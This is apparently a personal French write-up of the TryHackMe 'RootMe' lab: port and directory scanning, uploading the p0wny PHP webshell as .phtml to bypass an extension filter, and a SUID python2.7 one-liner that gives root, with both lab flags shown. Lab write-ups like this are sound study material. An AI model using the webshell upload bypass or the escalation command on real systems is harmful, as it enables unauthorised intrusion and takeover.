THM: RootMe | Notion

IP VICTIME

10.10.191.89

IP ATTAQUANT

10.21.171.239

nmap

nmap -A $TARGET -T4 -p- --oN nmap.txt

Starting Nmap 7.93 ( <https://nmap.org> ) at 2025-10-02 19:35 CEST
Nmap scan report for 10.10.191.89
Host is up (0.033s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 07c624ef4da1e6b35cd054140c099b22 (RSA)
|   256 6545ed1d16cb4bd656849b8ad76cf9bf (ECDSA)
|_  256 f68f132cf9dde7d3a6f833a3aa85abc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: HackIT - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)

Ubuntu
- SSH/22 OpenSSH 8.2p1
- HTTP/80 Apache httpd 2.4.41

Directory Brute Force

feroxbuster --insecure -w `fzf-wordlists` -u "<http://$TARGET>" -d2

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ <http://10.10.191.89>
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/lists/seclists/Discovery/Web-Content/directory-list-1.0.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ <https://github.com/epi052/feroxbuster/releases/latest>
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       11l       22w      263c <http://10.10.191.89/js/maquina_de_escrever.js>
200      GET      100l      161w     1611c <http://10.10.191.89/css/panel.css>
200      GET      105l      188w     1697c <http://10.10.191.89/css/home.css>
301      GET        9l       28w      312c <http://10.10.191.89/panel> => <http://10.10.191.89/panel/>
200      GET       25l       44w      616c <http://10.10.191.89/>
301      GET        9l       28w      314c <http://10.10.191.89/uploads> => <http://10.10.191.89/uploads/>
301      GET        9l       28w      310c <http://10.10.191.89/css> => <http://10.10.191.89/css/>
301      GET        9l       28w      309c <http://10.10.191.89/js> => <http://10.10.191.89/js/>

lsupload via http://10.10.191.89/panel/ d’un webshell en php (car l’extension .php est interdite ce qui nous met sur la voie)
- utilisation de pownyshell https://github.com/flozz/p0wny-shell dispo dans les ressources PHP d’Exegol
- renommage en .phtml pour bypass la vérification d’extension
- Execution de http://10.10.191.89/uploads/shell.phtml

www-data@ip-10-10-191-89:/var/www# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@ip-10-10-191-89:/var/www# cat user.txt
THM{y0u_g0t_a_sh3ll}

Check des fichiers avec SUID

www-data@ip-10-10-191-89:/var/www# find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 43160 Jan 10  2024 /sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 43168 Jan 10  2024 /sbin/pam_extrausers_chkpwd
-rwsr-xr-- 1 root messagebus 51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 159304 Jan 15  2025 /usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root utmp 14648 Sep 30  2019 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwsr-xr-x 1 root root 866448 Feb  4  2022 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 477672 Apr 11 12:16 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 22840 Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 41552 Feb  6  2024 /usr/bin/newuidmap
-rwxr-sr-x 1 root tty 14488 Mar 30  2020 /usr/bin/bsd-write
-rwsr-xr-x 1 root root 45648 Feb  6  2024 /usr/bin/newgidmap
-rwxr-sr-x 1 root crontab 43720 Feb 13  2020 /usr/bin/crontab
-rwsr-xr-x 1 root root 53040 Feb  6  2024 /usr/bin/chsh
-rwsr-xr-x 1 root root 3657904 Dec  9  2024 /usr/bin/python2.7
-rwxr-sr-x 1 root mlocate 47344 Jul 16  2019 /usr/bin/mlocate
-rwxr-sr-x 1 root shadow 84512 Feb  6  2024 /usr/bin/chage
-rwsr-sr-x 1 daemon daemon 55560 Nov 12  2018 /usr/bin/at
-rwsr-xr-x 1 root root 85064 Feb  6  2024 /usr/bin/chfn
-rwsr-xr-x 1 root root 88464 Feb  6  2024 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 166056 Apr  4  2023 /usr/bin/sudo
-rwsr-xr-x 1 root root 44784 Feb  6  2024 /usr/bin/newgrp
-rwxr-sr-x 1 root ssh 350504 Apr 11 12:16 /usr/bin/ssh-agent
-rwxr-sr-x 1 root shadow 31312 Feb  6  2024 /usr/bin/expiry
-rwsr-xr-x 1 root root 68208 Feb  6  2024 /usr/bin/passwd
-rwsr-xr-x 1 root root 31032 Feb 21  2022 /usr/bin/pkexec
-rwsr-xr-x 1 root root 40152 Oct 10  2019 /snap/core/8268/bin/mount
-rwsr-xr-x 1 root root 44168 May  7  2014 /snap/core/8268/bin/ping
-rwsr-xr-x 1 root root 44680 May  7  2014 /snap/core/8268/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25  2019 /snap/core/8268/bin/su
-rwsr-xr-x 1 root root 27608 Oct 10  2019 /snap/core/8268/bin/umount
-rwxr-sr-x 1 root shadow 35632 Apr  9  2018 /snap/core/8268/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr  9  2018 /snap/core/8268/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 Mar 25  2019 /snap/core/8268/usr/bin/chage
-rwsr-xr-x 1 root root 71824 Mar 25  2019 /snap/core/8268/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25  2019 /snap/core/8268/usr/bin/chsh
-rwxr-sr-x 1 root systemd-network 36080 Apr  5  2016 /snap/core/8268/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec  7  2013 /snap/core/8268/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 Mar 25  2019 /snap/core/8268/usr/bin/expiry
-rwsr-xr-x 1 root root 75304 Mar 25  2019 /snap/core/8268/usr/bin/gpasswd
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/8268/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/8268/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec  3  2012 /snap/core/8268/usr/bin/mail-unlock
-rwsr-xr-x 1 root root 39904 Mar 25  2019 /snap/core/8268/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25  2019 /snap/core/8268/usr/bin/passwd
-rwxr-sr-x 1 root crontab 358624 Mar  4  2019 /snap/core/8268/usr/bin/ssh-agent
-rwsr-xr-x 1 root root 136808 Oct 11  2019 /snap/core/8268/usr/bin/sudo
-rwxr-sr-x 1 root tty 27368 Oct 10  2019 /snap/core/8268/usr/bin/wall
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10  2019 /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar  4  2019 /snap/core/8268/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 106696 Dec  6  2019 /snap/core/8268/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12  2018 /snap/core/8268/usr/sbin/pppd
-rwsr-xr-x 1 root root 40152 Jan 27  2020 /snap/core/9665/bin/mount
-rwsr-xr-x 1 root root 44168 May  7  2014 /snap/core/9665/bin/ping
-rwsr-xr-x 1 root root 44680 May  7  2014 /snap/core/9665/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25  2019 /snap/core/9665/bin/su
-rwsr-xr-x 1 root root 27608 Jan 27  2020 /snap/core/9665/bin/umount

Python permet de facilement élever les privilèges : /usr/bin/python2.7 ⇒ https://gtfobins.github.io/gtfobins/python/

/usr/bin/python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

#id

uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

cd /root
ls
root.txt
snap
cat root.txt
THM{pr1v1l3g3_3sc4l4t10n}